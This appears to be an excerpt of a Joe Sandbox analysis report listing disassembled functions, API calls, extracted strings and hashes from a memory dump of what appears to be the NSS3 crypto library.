slotFlags, xrefs: 6C684D34
timeout, xrefs: 6C684C91
ootT, xrefs: 6C684D1A
0x%08lx=[%s %s], xrefs: 6C684D80
%s,%s, xrefs: 6C684C4B
rootFlags, xrefs: 6C684D47
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C684D9D
any, xrefs: 6C684C96

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction ID: ae133134ca70e6f88496ed3b20d6c89076a00cfdef07beb8aed4234c23bdd083
Opcode Fuzzy Hash: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction Fuzzy Hash: F441BBB1D011456BDB129F249C54ABB3ABDAF86349F494134EC0A1BB01EBB1D924C7FB

Function 6C666CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
Part of subcall function 6C666910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666D8C
free.MOZGLUE(00000000), ref: 6C666DC5
free.MOZGLUE(?), ref: 6C666DD6
free.MOZGLUE(?), ref: 6C666DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E72
free.MOZGLUE(?), ref: 6C666EA7
free.MOZGLUE(?), ref: 6C666EC4
free.MOZGLUE(?), ref: 6C666ED5
free.MOZGLUE(00000000), ref: 6C666EE3
free.MOZGLUE(?), ref: 6C666EF4
free.MOZGLUE(?), ref: 6C666F08
free.MOZGLUE(00000000), ref: 6C666F35
free.MOZGLUE(?), ref: 6C666F44
free.MOZGLUE(?), ref: 6C666F5B
free.MOZGLUE(00000000), ref: 6C666F65

Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
Part of subcall function 6C666C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96
Part of subcall function 6C666C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C666FF4

Strings

+`gl, xrefs: 6C666D0D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`gl
API String ID: 1304971872-1880681488
Opcode ID: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction ID: e5d1951c6e47db65dcc4b1229d360defcd6732c154de58ef4e611bbf5bc7f19c
Opcode Fuzzy Hash: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction Fuzzy Hash: 20B170B0E052199FDF01CBA6EC44B9EBBB9BF09349F140125E815E7E01E731E915CBA6

Function 6C611FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C612007
calloc.MOZGLUE(00000001,00000084), ref: 6C612077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6120DF
TlsSetValue.KERNEL32(00000000), ref: 6C612188
PR_NewCondVar.NSS3 ref: 6C6121B7
calloc.MOZGLUE(00000001,00000084), ref: 6C61221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6122C2
GetLastError.KERNEL32 ref: 6C6122CD
free.MOZGLUE(00000000), ref: 6C6122DD

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Strings

X xl, xrefs: 6C61218E
T xl, xrefs: 6C612361

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T xl$X xl
API String ID: 3559583721-824639755
Opcode ID: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction ID: 92ef3f7c7bec3bfdbd90c4a5b0a70ef45bcfed90dd326b210d8a0818299d3623
Opcode Fuzzy Hash: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction Fuzzy Hash: FC915B706067118FEB219F388C0979B7BF4BB0B70AF20453AE65AD6E40EB709105CBA5

Function 6C62DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62DDDE

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C62DDF5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62DE34
PR_Now.NSS3 ref: 6C62DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C62DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C62DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C62DEF0
PR_smprintf.NSS3(6C75AAF9,(NULL) (Validity Unknown)), ref: 6C62DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C62DF33
free.MOZGLUE(00000000), ref: 6C62DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF4B
free.MOZGLUE(00000000), ref: 6C62DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62DF8E

Strings

{???}, xrefs: 6C62DE8B
(NULL) (Validity Unknown), xrefs: 6C62DEFA
%s%s, xrefs: 6C62DEEB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction ID: 9ee191d24f0f43f6060af041a91b4b8c2789970cc04debf0829b59c84f2ddc39
Opcode Fuzzy Hash: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction Fuzzy Hash: D851E3B1E001155BDB109E658C45AAF7AB4AF85358F144038EC09EBB01E735DD15CBFA

Function 6C65AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C65AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AF83

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C65AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C65AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C65AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C65B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C65B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C65B041

Strings

ulDataLen = %d, xrefs: 6C65B00A
nsl, xrefs: 6C65B059, 6C65B093
ulParameterLen = 0x%p, xrefs: 6C65AFD4
pParameter = 0x%p, xrefs: 6C65AFB9
C_SignMessage, xrefs: 6C65AF41
hSession = 0x%x, xrefs: 6C65AF5E, 6C65AF6E
pulSignatureLen = 0x%p, xrefs: 6C65B03C
(CK_INVALID_HANDLE), xrefs: 6C65AF7C
pSignature = 0x%p, xrefs: 6C65B023
pData = 0x%p, xrefs: 6C65AFEF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nsl
API String ID: 1003633598-791157601
Opcode ID: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction ID: ffdbec998786e51dc7b02b7e34f5eb39b3f51879c326573235b40fd3292e1486
Opcode Fuzzy Hash: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction Fuzzy Hash: 8241C935602154AFDF008F54DE8CE9D7BB1AB4730DF658034F50857B12DB359968CBAA

Function 6C662D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C662DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C662E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000,?), ref: 6C662E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000), ref: 6C662E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EF8
PR_Unlock.NSS3(?), ref: 6C662F62
TlsGetValue.KERNEL32 ref: 6C662F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C662F9E
PR_Unlock.NSS3(?), ref: 6C662FCA
TlsGetValue.KERNEL32 ref: 6C66301A
EnterCriticalSection.KERNEL32(?), ref: 6C66302E
PR_Unlock.NSS3(?), ref: 6C663066
PR_SetError.NSS3(00000000,00000000), ref: 6C663085
PR_Unlock.NSS3(?), ref: 6C6630EC
TlsGetValue.KERNEL32 ref: 6C66310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C663124
PR_Unlock.NSS3(?), ref: 6C66314C

Part of subcall function 6C649180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C64918D
Part of subcall function 6C649180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C6491A0

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C66316D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction ID: 25cdb527e2f1bc24d5ffbef581f389198904ad4a529885b49fd09665e92161a5
Opcode Fuzzy Hash: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction Fuzzy Hash: A4F18DB1D00209AFDF01DF65D884B9ABBB4FF0A318F144179EC05A7B11E731A995CB96

Function 6C649FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C649FBE

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C64A015

Part of subcall function 6C661940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C66195C
Part of subcall function 6C661940: EnterCriticalSection.KERNEL32(?,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001), ref: 6C661970
Part of subcall function 6C661940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5), ref: 6C6619A0

PL_FreeArenaPool.NSS3(?), ref: 6C64A067
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A055

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A07E
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C64A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C64A0CF
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A12E
PL_FreeArenaPool.NSS3(?), ref: 6C64A140
PL_FinishArenaPool.NSS3(?), ref: 6C64A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A158
PL_FinishArenaPool.NSS3(?), ref: 6C64A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C64A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64A1B2
free.MOZGLUE(00000000), ref: 6C64A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C64A1D6

Part of subcall function 6C6655E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5,00000003,-00000004,00000000,?,6C63EAC5), ref: 6C665627
Part of subcall function 6C6655E0: PR_CallOnce.NSS3(6C782AA4,6C6812D0,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B), ref: 6C66564F
Part of subcall function 6C6655E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C665661
Part of subcall function 6C6655E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5), ref: 6C6656AF

Strings

security, xrefs: 6C64A00F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction ID: dc5f1f477ff4316bf13102ed9fa3bdc46962f817941c90c61dd516a18de98f11
Opcode Fuzzy Hash: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction Fuzzy Hash: 2751F5B5E01209BBEB009AA4DC44BAF7378AF4670DF10C135E905ABB42E775D509C7AE

Function 6C656D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C656D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656DC3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C656DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C656E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C656E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C656E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C656EB9

Strings

pDigest = 0x%p, xrefs: 6C656E27
ulDataLen = %d, xrefs: 6C656E0E
nsl, xrefs: 6C656E61, 6C656E95
*pulDigestLen = 0x%x, xrefs: 6C656EB4
pulDigestLen = 0x%p, xrefs: 6C656E42
hSession = 0x%x, xrefs: 6C656D9E, 6C656DAE
C_Digest, xrefs: 6C656D81
(CK_INVALID_HANDLE), xrefs: 6C656DBC
pData = 0x%p, xrefs: 6C656DF5

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nsl
API String ID: 1003633598-847698986
Opcode ID: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction ID: dea5aadda938fa0e4bb4399a8f0d40d75c258f4134852ffe3b055f31f9073f97
Opcode Fuzzy Hash: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction Fuzzy Hash: 0F41D735A02014AFDB009F54DE8DF8A7BB1AB4335DF658034E90897712DB30ED69CB9A

Function 6C659C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C659C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C659CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C659CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C659D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C659D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C659D42

Strings

C_LoginUser, xrefs: 6C659C61
nsl, xrefs: 6C659D5A, 6C659D91
ulUsernameLen = %d, xrefs: 6C659D3D
userType = 0x%x, xrefs: 6C659CD5
pUsername = 0x%p, xrefs: 6C659D24
pPin = 0x%p, xrefs: 6C659CF0
hSession = 0x%x, xrefs: 6C659C7E, 6C659C8E
ulPinLen = %d, xrefs: 6C659D0B
